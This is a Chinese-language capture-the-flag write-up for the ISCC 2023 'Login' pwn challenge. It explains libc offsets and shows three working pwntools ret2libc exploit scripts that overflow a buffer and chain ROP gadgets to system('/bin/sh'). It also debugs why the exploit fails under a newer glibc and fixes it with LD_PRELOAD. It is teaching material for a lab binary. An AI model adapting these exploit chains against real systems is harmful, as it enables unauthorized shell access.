PWN中Glibc导致的偏移地址问题
libc
libc.so
是一个动态链接文件,在程序运行的时候,才会去寻找库文件,取出里面的代码放进内存运行(像平时在运行 Windows 时弹出的"找不到 xxx.dll文件"
其实就是动态链接)一般来说,libc 中存放的都是使用过的函数、字符串等
- 在
libc.so
动态链接库中的函数之间相对偏移是固定的。 也就是说,虽然程序在执行过程中,真实地址会随着每一次加载 libc 而变化,但是两个函数之间的偏移量总是固定不变的
假设文件中三个函数的地址是 0x40010、0x40020、0x40050,但是加载到内存后会增加一个基地址,假设基地址为 0x000100,虽然地址变了,但他们之间的相对偏移还是一样的
- 根据系统的版本不同,系统中所使用的 libc 的版本也会有所差别。 所以我们首先需要确定程序所使用的是哪一个版本的 libc,这里可以用
LibcSearcher
来寻找(也有的题会直接给出 libc 文件)
不过 LibcSearcher
找到的 libc 版本可能有多个,有时候需要去判断,而且得到的字符串的地址不一定刚刚好,可能需要通过调试去验证。另外,也可以通过网站来查询:libc database search
注意:
通过 ret2libc 计算出 libc 基地址时,libc 基地址libcbase
最后三位一般是全 0,可用于判断是否计算正确,libc 基地址可以在 GDB 中使用vmmap
进行查看另外,libc 中的函数偏移在加载到内存后地址最后三位是不会变的,例如:
system()
函数在 libc 中偏移量为 0x48E50,则加载到内存中可能为 0xF7D1BE50与操作系统的 4 KB 分页机制有关,4 KB = 4 * 1024 (D) = 1000 (H)
例题
以 ISCC 2023 的一道 PWN 题为例:《【ISCC 2023】Login》
程序逻辑如下:
函数 main()
栈中的情况:
思路比较简单,首先通过输入 buf 来修改 v6 的值为 365696460 (0x15CC15CC) 绕过 if 判断
然后通过 print_name()
函数中的 memcpy()
将 v4 复制到 dest 中,由于 v4 长度为 0x100,而 dest 长度为 0x20,可以利用 v4 覆盖 dest 来修改返回地址
而题目中没有 system()
函数和 "/bin/sh"
,但是给出了 libc 文件
同时程序输出了 stdin 的真实地址 (通过动态调试发现其实是 _IO_2_1_stdin_
而不是 stdin
)
因此使用 ret2libc 来获取 system()
函数和 "/bin/sh"
的地址
在 Ubuntu 16.04 下,使用如下 exp 直接获得 shell:
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
io = process('./Login')
elf = ELF('./Login')
libc = ELF('./libc-2.23.so')
io.recvuntil(b"Here is a tip: ")
stdin_addr = int(io.recvuntil(b"\n", drop='\n'), 16) # 获取程序输出的地址
print(hex(stdin_addr))
io.recvuntil(b"input the username:\n")
payload = b'a' * (0x20 - 0x4) + p32(365696460) # 修改 v6 绕过 if
io.send(payload)
# 利用 _IO_2_1_stdin_ 计算 libc 偏移
libcbase = stdin_addr - libc.symbols['_IO_2_1_stdin_']
system_addr = libcbase + libc.symbols['system']
bin_sh = libcbase + next(libc.search(b'/bin/sh\x00'))
pop_rdi_ret = 0x4008c3 # 64 位传参
ret = 0x400599 # 用于堆栈平衡(glibc 2.27 以下可以不加 ret, 不影响程序执行流)
io.recvuntil(b"input the password:\n")
payload = b'a' * (0x20 + 0x8) + p64(pop_rdi_ret) + p64(bin_sh) + p64(ret) + p64(system_addr)
io.sendline(payload)
io.interactive()
由于在 Ubuntu 16.04 中,glibc 2.27 以下版本不存在
system()
函数中movaps
指令操作 XMM 寄存器的堆栈平衡问题,因此 payload 中p64(ret)
可加可不加但在 Ubuntu 22.04 中就必须得加,索性养成习惯直接加上
详见《PWN中Glibc引起的64位程序的堆栈平衡》一文
但在 Ubuntu 22.04 中使用同样的 exp,就无法获得 shell:
玄学的问题出现了:
同样的脚本,同样的程序,在 Ubuntu 16.04 可以打通,在 Ubuntu 22.04 就打不通
调试分析
在 Ubuntu 22.04 中调试分析一下
在第二个 payload 发送之前附加 gdb 调试,完整测试脚本如下:
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
io = process('./Login')
elf = ELF('./Login')
libc = ELF('./libc-2.23.so')
io.recvuntil(b"Here is a tip: ")
stdin_addr = int(io.recvuntil(b"\n", drop='\n'), 16) # 获取程序输出的地址
print(hex(stdin_addr))
io.recvuntil(b"input the username:\n")
payload = b'a' * (0x20 - 0x4) + p32(365696460) # 修改 v6 绕过 if
io.send(payload)
# 利用 _IO_2_1_stdin_ 计算 libc 偏移
libcbase = stdin_addr - libc.symbols['_IO_2_1_stdin_']
system_addr = libcbase + libc.symbols['system']
bin_sh = libcbase + next(libc.search(b'/bin/sh\x00'))
pop_rdi_ret = 0x4008c3 # 64 位传参
ret = 0x400599 # 用于堆栈平衡(glibc 2.27 以下可以不加 ret, 不影响程序执行流)
io.recvuntil(b"input the password:\n")
payload = b'a' * (0x20 + 0x8) + p64(pop_rdi_ret) + p64(bin_sh) + p64(ret) + p64(system_addr)
# 附加 gdb 调试
gdb.attach(io)
pause()
io.sendline(payload)
io.interactive()
执行到 call print_name
处
可以看到 print_name()
函数的返回地址没有问题,为 pop rdi
单步 si 进入 print_name()
函数:
print_name()
函数结束后,确实返回到 0x4008c3 <__libc_csu_init+99>
处执行了 pop rdi
指令,也没有问题
执行完 pop rdi
指令后,正常返回到 0x400599 <_init+25>
处执行 ret
指令,也没有问题
ret
返回到 0x7fb6dc29a560
地址处
再次单步执行,程序便崩溃了:地址 0x7fb6dc29a560
不合法
按道理说,这个地址存放的应该是 system()
函数的地址
回头观察执行 pop rdi
指令时的情况,出栈到 RDI 的地址为:0x7fb6dc3e2017
,正常来讲这个地址应该为 "/bin/sh"
的地址
实际发现这两个地址确实都不存在:
而在 Ubuntu 16.04 中使用同样的脚本进行调试时
发现最后 ret
的地址就是 system()
的地址:
pop rdi
出栈的也是 "/bin/sh"
的地址:
没有任何问题,可以正常获得 shell
大致可以猜测应该是 Ubuntu 22.04 中 system()
函数和 "/bin/sh"
地址不对
接下来,我们在 Ubuntu 22.04 中验证一下
先单步执行完 pop rdi
指令:
此时我们查找 "/bin/sh"
和 system()
函数的地址:
使用 set
命令强行手动将 RDI 寄存器和 RIP 寄存器修改,使 RDI 存放 "/bin/sh"
的地址,RIP 存放 system()
函数的地址
然后 si 单步步入,发现已经正常进入 system()
函数:
直接 finish 结束函数,可以获得 shell:
在 Pycharm 中运行的 exp 也同步获得 shell:
由此可以得出结论:
其实 Ubuntu 22.04 中无法 getshell 的原因就是system()
函数和"/bin/sh"
的地址计算错误
而system()
函数和"/bin/sh"
的地址是由 libc 文件计算偏移得来的,因此问题出在 libc 文件上
解决办法
由于题目给的 libc 文件为 libc-2.23.so
,在 Ubuntu 16.04 这样的老版本中没有问题
但是在 Ubuntu 22.04 这样的新版本中就不对了
Ubuntu 16.04 的 glibc 版本:
Ubuntu 22.04 的 glibc 版本:
解决办法就是在 Ubuntu 22.04 中使用 Ubuntu 22.04 自带的新版 glibc 来运行程序
注意:
更改程序运行时使用的 libc 版本需要与 ld 文件的版本对应,由于 Ubuntu 22.04 使用的 ld 版本为 2.35,所以如果指定题目给出的libc-2.23.so
文件会使程序运行崩溃:这里需要指定 Ubuntu 22.04 自带的 libc 文件
Ubuntu 22.04 自带的 glibc 一般位于 /usr/lib/x86_64-linux-gnu/libc.so.6
,也可以使用命令来查找:sudo find / -name libc.so.6
将 exp 改写如下:
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
# 指定使用 Ubuntu 22.04 自带的 glibc 来运行程序
io = process(['./Login'], env={'LD_PRELOAD': "/usr/lib/x86_64-linux-gnu/libc.so.6"})
elf = ELF('./Login')
# 计算偏移的 libc 也需要与程序相统一
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")
io.recvuntil(b"Here is a tip: ")
stdin_addr = int(io.recvuntil(b"\n", drop='\n'), 16)
print(hex(stdin_addr))
io.recvuntil(b"input the username:\n")
payload = b'a' * (0x20 - 0x4) + p32(365696460)
io.send(payload)
libcbase = stdin_addr - libc.symbols['_IO_2_1_stdin_']
system_addr = libcbase + libc.symbols['system']
bin_sh = libcbase + next(libc.search(b'/bin/sh\x00'))
pop_rdi_ret = 0x4008c3
ret = 0x400599
io.recvuntil(b"input the password:\n")
payload = b'a' * (0x20 + 0x8) + p64(pop_rdi_ret) + p64(bin_sh) + p64(ret) + p64(system_addr)
io.sendline(payload)
io.interactive()
此时即可正常 getshell:
再次调试分析
再次在 Ubuntu 22.04 下调试分析
单步执行,发现地址都已经正常,可以调用 system("/bin/sh")
来 getshell 了